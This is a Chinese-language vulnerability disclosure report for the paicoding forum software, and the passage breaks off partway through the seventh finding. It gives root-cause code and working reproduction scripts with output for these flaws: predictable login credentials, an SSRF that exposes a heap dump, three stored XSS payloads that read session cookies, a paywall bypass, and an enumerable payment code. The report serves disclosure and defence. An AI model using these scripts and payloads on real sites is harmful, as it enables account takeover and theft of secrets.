paicoding 漏洞报告

软件名称:技术派(paicoding)

开发者或厂商:itwanger

代码仓库:https://github.com/itwanger/paicoding

1. loginByZsxq 登录口令可预测

简要描述:攻击者读取他人个人主页中泄露的星球编号,据此算出该会员账号的用户名与口令,接管受害者账号。
影响版本:1.0.3
漏洞引入:paicoding commit b8206b97
前置条件:目标站点存在通过知识星球登录注册的会员账号。

漏洞成因

loginByZsxq 在会员首次通过知识星球登录时自动注册本地账号,用户名与口令都由星球编号拼接而成,不含随机成分,相关代码如下:

// paicoding-service/src/main/java/com/github/paicoding/forum/service/user/service/user/LoginServiceImpl.java:244-250    commit 6b85f5c327
        UserPwdLoginReq loginReq = new UserPwdLoginReq()
                .setStarNumber(req.getStarNumber())
                .setUsername("zsxq_" + req.getStarNumber())
                .setPassword("zsxqp_" + req.getStarNumber())

星球编号入库前由 StarNumberUtil.formatStarNumber 统一补零成 5 位,用户名与口令取的都是补零后的值,所以公式里的编号是 01234 这样的形式。相关代码如下:

// paicoding-core/src/main/java/com/github/paicoding/forum/core/util/StarNumberUtil.java:27-29    commit 6b85f5c327
            int number = Integer.parseInt(starNumber);
            // 格式化为5位数字符串
            return String.format("%05d", number);

攻击者可以从个人主页获得该用户的知识星球编号,因为个人主页的渲染包含了一份编辑表单,星球编号以 value 形式写入输入框,这段模板随 /user/{userId} 页面下发,不区分访问者是否为本人:

<!-- paicoding-ui/src/main/resources/templates/views/user/info/edit.html:81-90    commit 6b85f5c327 -->
                        <span class="form-label">星球编号</span>
                        <input
                                th:if="${vo.userHome != null && vo.userHome.starNumber != null && vo.userHome.starNumber != ''}"
                                id="starNumber"
                                type="text"
                                class="form-control"
                                th:value="${vo.userHome != null ? vo.userHome.starNumber: ''}"
                                placeholder="去绑定"
                                disabled
                        />

于是访问该主页的人都能读到星球编号。由于用户名与口令是编号的固定函数,读到编号即可算出二者,而 /login/username 校验通过后即签发会话。

复现环境搭建

官方仓库没有提供 compose 文件,因此从源码构建后用 compose 启动。构建需要 JDK 与 Maven,运行环境为 Java 8,容器内保持官方默认的 8080 端口,宿主机端口换成 18070。构建与启动命令如下:

git clone https://github.com/itwanger/paicoding.git
cd paicoding
mvn clean install -Dmaven.test.skip=true -Pdev

mkdir -p run
cp -r paicoding-web/target/classes run/classes
mvn -q -pl paicoding-web dependency:copy-dependencies -DoutputDirectory=$PWD/run/lib

cat > run/Dockerfile <<'EOF'
FROM eclipse-temurin:8-jre
WORKDIR /app
COPY classes /app/classes
COPY lib /app/lib
EXPOSE 8080
ENTRYPOINT ["java","-Xms256m","-Xmx1024m","-cp","/app/classes:/app/lib/*","com.github.paicoding.forum.web.QuickForumApplication"]
EOF

cat > docker-compose.yml <<'EOF'
services:
  mysql:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: paicoding
    command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --default-authentication-plugin=mysql_native_password
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-ppaicoding"]
      interval: 5s
      timeout: 5s
      retries: 20
    volumes:
      - mysql-data:/var/lib/mysql
  redis:
    image: redis:7-alpine
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      timeout: 3s
      retries: 20
  app:
    build: ./run
    depends_on:
      mysql:
        condition: service_healthy
      redis:
        condition: service_healthy
    environment:
      PAICODING_DB_HOST: mysql
      PAICODING_DB_PORT: 3306
      PAICODING_DB_USERNAME: root
      PAICODING_DB_PASSWORD: paicoding
      PAICODING_REDIS_HOST: redis
      PAICODING_REDIS_PORT: 6379
      PAICODING_REDIS_PASSWORD: ""
      PAICODING_ES_OPEN: "false"
      JAVA_TOOL_OPTIONS: "-Dfile.encoding=UTF-8 -Duser.timezone=Asia/Shanghai"
    ports:
      - "18070:8080"
    volumes:
      - app-storage:/tmp/storage
volumes:
  mysql-data:
  app-storage:
EOF

docker compose up -d

站点启动后,用站点自身的星球登录回调创建一位会员账号,模拟该会员首次通过知识星球登录。脚本如下:

import hashlib, time, httpx

BASE = 'http://127.0.0.1:18070'
now = int(time.time())
p = {'app_id': '666', 'group_number': '666', 'user_id': '88001', 'user_name': 'Alice', 'user_icon': '',
     'user_number': '01234', 'user_role': '', 'extra': 'login', 'join_time': str(now - 86400 * 30),
     'expire_time': str(now + 86400 * 365), 'timestamp': str(now)}
kv = '&'.join(f'{k}={v}' for k, v in sorted(p.items()) if v != '')
p['signature'] = hashlib.sha1((kv + '&secret=666').encode()).hexdigest()

c = httpx.Client(base_url=BASE, timeout=20)
c.get('/login/zsxq/callback', params=p, follow_redirects=False)
me = c.get('/api/admin/user/info').json()['result']
print(me)

输出如下:

{'id': '6', 'createTime': '2026-11-11T18:23:24.000+00:00', 'updateTime': '2026-11-11T18:23:24.000+00:00', 'userId': '6', 'userName': 'Alice', 'role': 'NORMAL', 'photo': 'https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png', 'profile': '', 'position': '', 'company': '', 'extend': '', 'deleted': 0, 'region': '', 'starStatus': 'FORMAL', 'starNumber': '01234', 'expireTime': '2027-11-12T02:23:24.000+00:00', 'email': '', 'payCode': ''}

以下每节复现前都执行 docker compose down -v 与 docker compose up -d,使环境回到初始状态。

复现过程

攻击者不登录,打开受害者的个人主页,页面 HTML 中带有 id="starNumber" 的输入框,其 value 即星球编号:

curl -sS http://127.0.0.1:18070/user/6 | grep -oE 'value="[0-9]{5}"'

输出如下:

value="01234"

拿到编号后按公式算出用户名与口令,登录:

curl -sS -i -X POST http://127.0.0.1:18070/login/username \
  -d 'username=zsxq_01234&password=zsxqp_01234'

响应如下:

HTTP/1.1 200
Set-Cookie: f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E; Max-Age=432000; Expires=Tue, 17-Nov-2026 02:23:33 GMT; Domain=127.0.0.1; Path=/
{"status":{"code":0,"msg":"OK"},"result":true}

用该会话读取用户资料,结果属于受害者 Alice,会员状态为 FORMAL:

curl -sS -b 'f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E' \
  http://127.0.0.1:18070/api/admin/user/info

响应如下:

{"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:23:24.000+00:00","updateTime":"2026-11-11T18:23:24.000+00:00","userId":"6","userName":"Alice","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"FORMAL","starNumber":"01234","expireTime":"2027-11-12T02:23:24.000+00:00","email":"","payCode":""}}

浏览器中可以看到该会话已经进入 Alice 的账号,页面显示星球编号与会员到期时间:

2. 图片转存 SSRF 可读取 Actuator 堆转储

简要描述:普通用户借助图片转存接口访问仅监听本机的 Actuator,把 heapdump 落盘为静态文件,随后下载该文件,从中取出数据库口令、签名密钥与活跃会话等。
影响版本:1.0.3
漏洞引入:paicoding commit 54d01f9e
前置条件:攻击者有普通权限账号。

漏洞成因

/image/save 只要求登录,参数 img 由调用方指定,服务端不做地址校验,相关代码如下:

// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:90-113    commit 6b85f5c327
    public String saveImg(String img) {
        if (imageUploader.uploadIgnore(img)) {
            return img;
        }
        try {
            InputStream stream = FileReadUtil.getStreamByFileName(img);
            URI uri = URI.create(img);
            String path = uri.getPath();

            int index = path.lastIndexOf(".");
            String fileType = null;
            if (index > 0) {
                fileType = path.substring(index + 1);
            }
            String digest = calculateSHA256(stream);
            String ans = imgReplaceCache.getIfPresent(digest);
            if (StringUtils.isBlank(ans)) {
                ans = imageUploader.upload(stream, fileType);
                imgReplaceCache.put(digest, ans);
            }
            ...

这里的文件扩展名取自 URL 的路径后缀,内容则来自远端响应。随后 LocalStorageWrapper 把流转写到本地目录,并以该后缀作为文件类型:

// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/oss/impl/LocalStorageWrapper.java:52-59    commit 6b85f5c327
            String path = imageProperties.getAbsTmpPath() + imageProperties.getWebImgPath();
            String fileName = genTmpFileName();

            InputStream finalInput = input;
            String finalFileType = fileType;
            FileWriteUtil.FileInfo file = stopWatchUtil.record("存储", () -> FileWriteUtil.saveFileByStream(finalInput, path, fileName, finalFileType));
            return imageProperties.buildImgUrl(imageProperties.getWebImgPath() + file.getFilename() + "." + file.getFileType());

Actuator 的管理端口只绑在本机,但把全部端点都暴露出来,相关配置如下:

# paicoding-web/src/main/resources/application.yml:143-150    commit 6b85f5c327
management:
  server:
    address: 127.0.0.1 # 设置为本地ip,防止远程访问该连接进行关闭服务
    port: 8999
  endpoints:
    web:
      exposure:
        include: "*"

管理端口绑定本机,转存接口让这种部署方式失去防护作用。LocalStorageWrapper.upload 在 fileType 为空时会把整条流读入字节数组以判断魔数,几百 MB 的堆转储会因此耗尽内存,所以请求路径要带一个后缀。把路径写成 heapdump;x=.txt 时,path.lastIndexOf(".") 取到的是 ;x=.txt 中的后缀,于是绕过该分支直接落盘,堆内存导出文件被保存为 /forum/image/xxxx.txt。

复现环境搭建

同第 1 节。

复现过程

先让管理员正常登录一次,使 JVM 堆中存在活跃会话,随后攻击者注册普通账号并请求转存接口。脚本如下:

import base64, json, re, httpx

BASE = 'http://127.0.0.1:18070'
MGMT = '127.0.0.1:8999'

admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
print('[victim] administrator logged in, f-session=%s' % admin.cookies.get('f-session'))

attacker = httpx.Client(base_url=BASE, timeout=None)
attacker.post('/login/register', data={'username': 'dumpbot', 'password': 'Dump@12345',
                                       'starNumber': '01000', 'displayName': 'dumpbot'})
attacker.post('/login/username', data={'username': 'dumpbot', 'password': 'Dump@12345'})
print('[attacker] ordinary account f-session=%s' % attacker.cookies.get('f-session'))

r = attacker.get('/image/save', params={'img': 'http://%s/actuator/heapdump;x=.txt' % MGMT})
print('[attacker] GET /image/save?img=http://%s/actuator/heapdump;x=.txt' % MGMT)
print('           -> %s %s' % (r.status_code, r.text))
heap_path = r.json()['result']['imagePath']

anon = httpx.Client(base_url=BASE, timeout=20)
heap = anon.get(heap_path).content
print('[attacker] anonymous GET %s -> %d bytes' % (heap_path, len(heap)))
print('[attacker] magic: %r' % heap[:18])

tokens = set()
for m in re.finditer(rb'f-session=([A-Za-z0-9_.\-]{150,260})', heap):
    cand = m.group(1).decode()
    if cand.count('.') == 2:
        tokens.add(cand)
print('[attacker] f-session values in the heap: %d' % len(tokens))

for tok in sorted(tokens):
    claims = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=' * (-len(tok.split('.')[1]) % 4)))
    info = httpx.get(BASE + '/api/admin/user/info', cookies={'f-session': tok}, timeout=10)
    if info.json().get('result'):
        print('[attacker] token u=%s -> %s' % (claims['u'], info.text))
        print('[attacker] f-session=%s' % tok)

for needle in (b'hello_world', b'PAICODING_DB_PASSWORD'):
    print('[attacker] heap contains %r: %s' % (needle, needle in heap))

输出如下:

[victim] administrator logged in, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c
[attacker] ordinary account f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM
[attacker] GET /image/save?img=http://127.0.0.1:8999/actuator/heapdump;x=.txt
           -> 200 {"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112105344552_77.txt"}}
[attacker] anonymous GET /forum/image/20261112105344552_77.txt -> 201717245 bytes
[attacker] magic: b'JAVA PROFILE 1.0.2'
[attacker] f-session values in the heap: 3
[attacker] token u=1 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"1","createTime":"2026-11-11T18:53:31.000+00:00","updateTime":"2026-11-11T18:53:31.000+00:00","userId":"1","userName":"管理员","role":"ADMIN","photo":"https://imgs.hhui.top/forum/avatar/0066.png","profile":"码农","position":"java","company":"xm","extend":"","deleted":0,"region":"","starStatus":"IGNORE","starNumber":"","expireTime":null,"email":"","payCode":""}}
[attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c
[attacker] token u=6 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:53:40.000+00:00","updateTime":"2026-11-11T18:53:40.000+00:00","userId":"6","userName":"dumpbot","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0058.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"TRYING","starNumber":"01000","expireTime":null,"email":"","payCode":""}}
[attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM
[attacker] heap contains b'hello_world': True
[attacker] heap contains b'PAICODING_DB_PASSWORD': True

hello_world 是 paicoding.jwt.secret 的明文取值,PAICODING_DB_PASSWORD 是数据库口令对应的环境变量名。除口令与密钥之外,堆中还留有其他用户登录时写入的 f-session,上一步取出的 u=1 会话即可访问管理接口。

3. 图片上传 XSS

简要描述:攻击者上传带脚本的 SVG,受害者打开该文件时脚本在站点源下执行,进而接管受害者账号。
影响版本:1.0.0 ~ 1.0.3
漏洞引入:paicoding commit 08da669b
前置条件:攻击者有普通权限账号。

漏洞成因

validateStaticImg 只按请求声明的 Content-Type 判断类型,svg 被显式放行,相关代码如下:

// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:174-180    commit 6b85f5c327
    private String validateStaticImg(String mime) {
        if ("svg".equalsIgnoreCase(mime)) {
            // fixme 上传文件保存到服务器本地时,做好安全保护, 避免上传了要给攻击性的脚本
            return "svg";
        }

文件内容不做校验,带脚本的 SVG 被原样存成 .svg。本地存储把文件放进静态目录,spring.web.resources.static-locations 对外提供该目录,.svg 以 image/svg+xml 返回。会话 Cookie f-session 没有 HttpOnly 标记,脚本可以读取。

复现环境搭建

同第 1 节。

复现过程

攻击者注册普通账号,上传一个带脚本的 SVG:

import httpx

BASE = 'http://127.0.0.1:18070'

SVG = '''<svg xmlns="http://www.w3.org/2000/svg" width="1400" height="120">
<rect width="100%" height="100%" fill="#ffffff"/>
<text x="12" y="26" font-family="monospace" font-size="16" fill="#000000">Uploaded SVG file, document.cookie:</text>
<script type="text/javascript">
var parts = document.cookie.match(/[\\s\\S]{1,80}/g) || [];
parts.forEach(function (s, i) {
  var t = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  t.setAttribute('x', 12); t.setAttribute('y', 50 + i * 20);
  t.setAttribute('font-family', 'monospace'); t.setAttribute('font-size', 13);
  t.setAttribute('fill', '#c00000'); t.textContent = s;
  document.documentElement.appendChild(t);
});
</svg>'''

c = httpx.Client(base_url=BASE, timeout=30)
c.post('/login/register', data={'username': 'uploadbot', 'password': 'Up@12345',
                                'starNumber': '01200', 'displayName': 'uploadbot'})
c.post('/login/username', data={'username': 'uploadbot', 'password': 'Up@12345'})
r = c.post('/image/upload', files={'image': ('a.svg', SVG.encode(), 'svg')})
print(r.text)
print(BASE + r.json()['result']['imagePath'])

输出如下:

{"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112103353393_10.svg"}}
http://127.0.0.1:18070/forum/image/20261112103353393_10.svg

受害者打开该链接,脚本读出会话:

4. 个人主页 JSON-LD XSS

简要描述:攻击者把自己的简介写成闭合 script 标签的形式,访问其个人主页的用户都会执行攻击者的脚本,进而接管受害者账号。
影响版本:1.0.0 ~ 1.0.3
漏洞引入:paicoding commit 5cc55070
前置条件:攻击者有普通权限账号。

漏洞成因

页面用 th:utext 输出 JSON-LD,相关代码如下:

<!-- paicoding-ui/src/main/resources/templates/components/layout/header.html:59    commit 6b85f5c327 -->
    <script type="application/ld+json" th:utext="${global.jsonLd}"></script>

JSON-LD 由 Hutool 序列化后原样拼入页面,不做 < 转义:

// paicoding-web/src/main/java/com/github/paicoding/forum/web/global/GlobalInitService.java:76-84    commit 6b85f5c327
            vo.setJsonLd(JSONUtil.toJsonStr(seo.getJsonLd()));

用户主页把个人简介放进该结构,相关代码如下:

// paicoding-web/src/main/java/com/github/paicoding/forum/web/global/SeoInjectService.java:386-388    commit 6b85f5c327
        jsonLd.put("headline", title);
        jsonLd.put("description", user.getUserHome().getProfile());

个人简介由用户自行编辑,saveUserInfo 原样入库,因此简介里的 </script> 会提前闭合 JSON-LD 的 script 元素,后续内容作为脚本执行。

复现环境搭建

同第 1 节。

复现过程

攻击者注册账号后修改简介,脚本如下:

import httpx

BASE = 'http://127.0.0.1:18070'

PAYLOAD = ("</script><script>document.addEventListener('DOMContentLoaded',function(){"
           "document.body.innerHTML='<pre style=\"font:12px monospace;white-space:pre;width:1360px\">'+document.cookie+'</pre>'})"
           "</script>")

c = httpx.Client(base_url=BASE, timeout=20)
c.post('/login/register', data={'username': 'jsonldbot2', 'password': 'Json@12345',
                                'starNumber': '01011', 'displayName': 'jsonldbot2'})
c.post('/login/username', data={'username': 'jsonldbot2', 'password': 'Json@12345'})
me = c.get('/api/admin/user/info').json()['result']
print('[attacker] userId=%s' % me['userId'])
print('[attacker] saveUserInfo ->', c.post('/user/api/saveUserInfo',
      json={'userId': me['userId'], 'userName': 'jsonldbot2', 'profile': PAYLOAD}).text)
print('[victim] URL: %s/user/%s' % (BASE, me['userId']))

输出如下:

[attacker] userId=6
[attacker] saveUserInfo -> {"status":{"code":0,"msg":"OK"},"result":true}
[victim] URL: http://127.0.0.1:18070/user/6

匿名读取该主页,JSON-LD 片段如下:

application/ld+json">{"author":{"@type":"Person","name":"jsonldbot2"},"description":"</script><script>document.addEventListener('DOMContentLoaded',function(){document.body.innerHTML='<pre style=\"font:12px monospace;white-space:pre;width:1360px\">'+document.cookie+'</pre>'})</script>","@context":"https://schema.org","headline":"技术派 | jsonldbot2 的主页","url":"https://paicoding.com/user/6"}</script>

受害者打开该主页,脚本读出会话:

5. 支付通知模板 XSS

简要描述:攻击者把脚本放进显示名,给受害作者的付费文章发起一次“支付中”,攻击者的显示名随后出现在系统通知中并被当作 HTML 执行,进而接管受害者账号。
影响版本:1.0.3
漏洞引入:paicoding commit 766c48b3
前置条件:受害作者有一篇使用个人收款码的付费文章。

漏洞成因

支付中的通知把付款方显示名拼进通知正文,相关代码如下:

// paicoding-service/src/main/java/com/github/paicoding/forum/service/notify/service/impl/NotifyMsgListener.java:274-287    commit 6b85f5c327
        if (PayStatusEnum.PAYING == payStatus) {
            BaseUserInfoDTO payUser = userService.queryBasicUserInfo(record.getPayUserId());

            msg = new NotifyMsgDO().setRelatedId(record.getArticleId())
                    ...
                    .setMsg(String.format("您的文章 <a href=\"/article/detail/%d\">%s</a> 收到一份来自 <a href=\"/user/home?userId=%d\">%s</a> 的 [%s] 打赏,点击 <a href=\"/article/payConfirm?payId=%d\">去确认~</a>",
                            record.getArticleId(), article.getTitle(),
                            payUser.getUserId(), payUser.getUserName(),
                            ...

其中的 payUser.getUserName() 是注册时提交的显示名,不做转义。通知模板用 th:utext 原样输出正文,相关代码如下:

<!-- paicoding-ui/src/main/resources/templates/components/notice/notify-system-item.html:18    commit 6b85f5c327 -->
        <div class="comment" th:utext="${msg.msg}">m</div>

显示名上限 50 字符,足以写成 <img src=x onerror=this.outerHTML=document.cookie> 这样的短载荷。发起“支付中”只需要登录后调用 paying,无需真实付款。

复现环境搭建

同第 1 节。受害者账号上需要一篇 payWay 为 email 的付费文章,脚本会自行创建。

复现过程

脚本如下:

import httpx, time

BASE = 'http://127.0.0.1:18070'

admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
print('[victim] admin login, f-session=%s' % admin.cookies.get('f-session'))
admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员',
                                         'payCode': {'email': 'admin@paicoding.example'}})
r = admin.post('/article/api/post', json={
    'articleType': 'BLOG', 'source': 2, 'title': 'paid-article-demo',
    'urlSlug': 'paidarticle%d' % int(time.time()), 'content': '<p>paid body</p>', 'categoryId': 1,
    'readType': 4, 'payWay': 'email', 'payAmount': 1,
    'actionType': 'post', 'tagIds': [1], 'summary': 'paid'})
aid = r.json()['result']['articleId']
print('[victim] paid article id=%s (readType=4, payWay=email)' % aid)

PAYLOAD = '<img src=x onerror=this.outerHTML=document.cookie>'
att = httpx.Client(base_url=BASE, timeout=20)
att.post('/login/register', data={'username': 'notifybot3', 'password': 'Not@12345',
                                  'starNumber': '01031', 'displayName': PAYLOAD})
att.post('/login/username', data={'username': 'notifybot3', 'password': 'Not@12345'})
print('[attacker] display name: %s' % PAYLOAD)

pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result']
print('[attacker] toPay -> payId=%s payWay=%s payStatus=%s' % (pay['payId'], pay['payWay'], pay['payStatus']))
r = att.get('/article/api/pay/paying', params={'payId': pay['payId'], 'succeed': 'true'})
print('[attacker] paying -> %s %s' % (r.status_code, r.text))

html = admin.get('/notice/api/items', params={'type': 'system', 'page': 1, 'pageSize': 10}).json()['result']['html']
print('[victim] system notice contains payload: %s' % (PAYLOAD in html))
i = html.find('收到一份来自')
print('[victim] notice text: %s' % html[i - 30:i + 300].replace('\n', ' '))

输出如下:

[victim] admin login, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgzMjU2LCJzIjoiYzBhOGEwMDQuMTc5NDQ1MTI1NjUwMy4wMDAwMTEwMDIiLCJ1IjoxfQ.x-RFwqEFyD3IFucHrCrYg9fxaffpYxbCgcr-VvAyfys
[victim] paid article id=2631610125049857 (readType=4, payWay=email)
[attacker] display name: <img src=x onerror=this.outerHTML=document.cookie>
[attacker] toPay -> payId=2631610125049858 payWay=email payStatus=0
[attacker] paying -> 200 {"status":{"code":0,"msg":"OK"},"result":true}
[victim] system notice contains payload: True
[victim] notice text: 049857">paid-article-demo</a> 收到一份来自 <a href="/user/home?userId=6"><img src=x onerror=this.outerHTML=document.cookie></a> 的 [个人收款码] 打赏,点击 <a href="/article/payConfirm?payId=2631610125049858">去确认~</a></div>

作者打开系统消息页面,脚本执行并显示会话:

6. 未授权读取付费文章和草稿

简要描述:未登录用户调用文章详情接口即可读到付费文章、登录可见文章与知识星球会员文章的完整正文,未发布的草稿同样可读。
影响版本:1.0.3
漏洞引入:paicoding commit 01ad91e6
前置条件:无。

漏洞成因

详情接口把完整正文转成 HTML 后返回,没有调用阅读权限判断,相关代码如下:

// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticleRestController.java:87-94    commit 6b85f5c327
    @GetMapping("/data/detail/{articleId}")
    public ResVo<ArticleDetailVo> detail(@PathVariable(name = "articleId") Long articleId) throws IOException {
        ArticleDetailVo vo = new ArticleDetailVo();
        // 文章相关信息
        ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
        // 返回给前端页面时,转换为html格式
        articleDTO.setContent(MarkdownConverter.markdownToHtml(articleDTO.getContent()));
        vo.setArticle(articleDTO);

页面渲染路径才做截断,相关代码如下:

// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/view/ArticleViewController.java:247-249    commit 6b85f5c327
        ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
        // 根据文章类型,来自动处理文章内容
        String content = articleReadViewServiceExtend.formatArticleReadType(articleDTO);

formatArticleReadType 会按 readType 截断正文,但详情接口没有经过它。另外 ArticleDao.queryArticleDetail 只对审核中的文章做限制,草稿状态不在限制范围内,相关代码如下:

// paicoding-service/src/main/java/com/github/paicoding/forum/service/article/repository/dao/ArticleDao.java:71-85    commit 6b85f5c327
        ArticleDO article = baseMapper.selectById(articleId);
        if (article == null || Objects.equals(article.getDeleted(), YesOrNoEnum.YES.getCode())) {
            return null;
        }
        // 查询文章正文
        ArticleDTO dto = ArticleConverter.toDto(article);
        if (showReviewContent(article)) {
            ArticleDetailDO detail = findLatestDetail(articleId);
            dto.setContent(detail.getContent());
        } else {
            dto.setContent("### 文章审核中,请稍后再看");
        }

因此草稿、付费文章、会员文章的正文都从这个接口原样返回。文章短地址入口 ArticleSlugViewController 按 id 渲染详情,草稿因此还能通过短地址页面读到。

复现环境搭建

同第 1 节。

复现过程

先用管理员创建一篇付费文章与一篇草稿,再用匿名会话读取。脚本如下:

import httpx, time

BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYWALL_SECRET_9Z'
DRAFT = 'DRAFT_SECRET_7Q'

admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
slug1 = 'paidleak%d' % int(time.time())
paid = admin.post('/article/api/post', json={
    'articleType': 'BLOG', 'source': 2, 'title': 'paid-leak-demo', 'urlSlug': slug1,
    'content': '<p>' + 'A' * 600 + SECRET + '</p>', 'categoryId': 1, 'readType': 4,
    'payWay': 'email', 'payAmount': 9, 'actionType': 'post', 'tagIds': [1],
    'summary': 'paid'}).json()['result']['articleId']
slug2 = 'draftleak%d' % int(time.time())
draft = admin.post('/article/api/post', json={
    'articleType': 'BLOG', 'source': 2, 'title': 'draft-leak-demo', 'urlSlug': slug2,
    'content': '<p>' + 'B' * 600 + DRAFT + '</p>', 'categoryId': 1, 'readType': 0,
    'actionType': 'save', 'tagIds': [1], 'summary': 'draft'}).json()['result']['articleId']
print('[victim] paid article id=%s slug=%s' % (paid, slug1))
print('[victim] draft article id=%s slug=%s' % (draft, slug2))

anon = httpx.Client(base_url=BASE, timeout=20)
page = anon.get('/' + slug1).text
print('[anonymous] GET /%s page contains secret: %s' % (slug1, SECRET in page))
body = anon.get('/article/api/data/detail/%s' % paid).json()['result']['article']['content']
print('[anonymous] REST detail tail: %r' % body[-80:])
print('[anonymous] REST detail contains secret: %s' % (SECRET in body))

page = anon.get('/' + slug2).text
print('[anonymous] GET /%s page contains draft secret: %s' % (slug2, DRAFT in page))
body = anon.get('/article/api/data/detail/%s' % draft).json()['result']['article']['content']
print('[anonymous] REST detail contains draft secret: %s' % (DRAFT in body))

输出如下:

[victim] paid article id=2631610710155265 slug=paidleak1794451813
[victim] draft article id=2631610710155266 slug=draftleak1794451814
[anonymous] GET /paidleak1794451813 page contains secret: False
[anonymous] REST detail tail: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAYWALL_SECRET_9Z</p>\n'
[anonymous] REST detail contains secret: True
[anonymous] GET /draftleak1794451814 page contains draft secret: True
[anonymous] REST detail contains draft secret: True

而正常用户无法读出付费文章的 PAYWALL_SECRET_9Z 部分:

7. 收款码确认值可枚举

简要描述:攻击者对自己的支付记录枚举确认值,即可把记录标记为支付成功,无需付款就能解锁付费文章。
影响版本:1.0.3
漏洞引入:paicoding commit e491dfdf
前置条件:攻击者有普通权限账号,目标文章使用个人收款码。

漏洞成因

确认值由“固定前缀 + 全局递增计数 + 支付记录 id”拼成,相关代码如下:

// paicoding-core/src/main/java/com/github/paicoding/forum/core/util/id/IdUtil.java:54-61    commit 6b85f5c327
    public static String genPayCode(ThirdPayWayEnum payWay, Long id) {
        long now = System.currentTimeMillis();
        if (DateUtil.skipDay(lastTime, now)) {
            lastTime = now;
            INCR.set((int) (Math.random() * 500));
        }
        return payWay.getPrefix() + String.format("%06d", INCR.addAndGet(1)) + "-" + id;
    }

INCR 是进程内的计数器,每天从一个 0 到 499 的随机数开始,因此计数部分只有 2000 左右的取值。支付记录 id 在 toPay 的响应中返回给付款方。

回调接口不要求登录,把请求参数交给支付服务,相关代码如下:

// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticlePayRestController.java:79-90    commit 6b85f5c327
    @RequestMapping(path = "callback")
    public ResponseEntity<ResVo<Boolean>> callback(HttpServletRequest request) {
        return (ResponseEntity<ResVo<Boolean>>) payServiceFactory.getPayService(ThirdPayWayEnum.EMAIL)
                .payCallback(request, new Function<PayCallbackBo, Boolean>() {

